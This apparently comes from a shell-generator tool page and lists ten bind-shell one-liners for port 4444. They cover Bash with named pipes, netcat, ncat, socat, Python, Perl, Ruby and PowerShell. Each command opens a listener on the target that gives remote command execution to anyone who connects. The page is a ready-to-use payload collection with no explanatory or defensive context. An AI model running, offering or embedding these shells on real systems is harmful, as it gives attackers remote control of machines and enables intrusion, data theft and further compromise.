Target: 10.10.10.10:4444
10 shells
Bash
Bash Bind Bind shell on target using named pipe + netcat
LINUXOSX
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc -lvp 4444 >/tmp/f
Bash Bind socat Bind shell via socat with full TTY
LINUXOSX
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Netcat
nc Bind Bind shell listener on target
LINUXOSX
nc -lvnp 4444 -e /bin/bash
nc Bind mkfifo Bind without -e flag using named pipe
LINUXOSX
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc -lvnp 4444 >/tmp/f
Ncat
ncat Bind Ncat bind shell
LINUXOSX
ncat -lvnp 4444 -e /bin/bash
Socat
socat Bind TTY Socat bind with full TTY on target
LINUXOSX
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:'bash -li',pty,stderr,setsid,sigint,sane
Python
Python Bind Python3 bind shell
LINUXOSX
python3 -c 'import socket,subprocess;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();[subprocess.Popen(d.strip(),shell=True,stdout=c,stderr=c,stdin=c).wait() for d in iter(c.makefile().readline,"")]'
Perl
Perl Bind Perl bind shell
LINUXOSX
perl -e 'use Socket;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in($p,INADDR_ANY));listen(S,3);accept(C,S);open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");'
Ruby
Ruby Bind Ruby bind shell
LINUXOSX
ruby -rsocket -e 'require "socket";s=TCPServer.new(4444);c=s.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",c.to_i,c.to_i,c.to_i)'
PowerShell
PowerShell Bind PowerShell bind shell on target port {$p}
WINDOWS
$listener=New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444);$listener.start();$client=$listener.AcceptTcpClient();$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()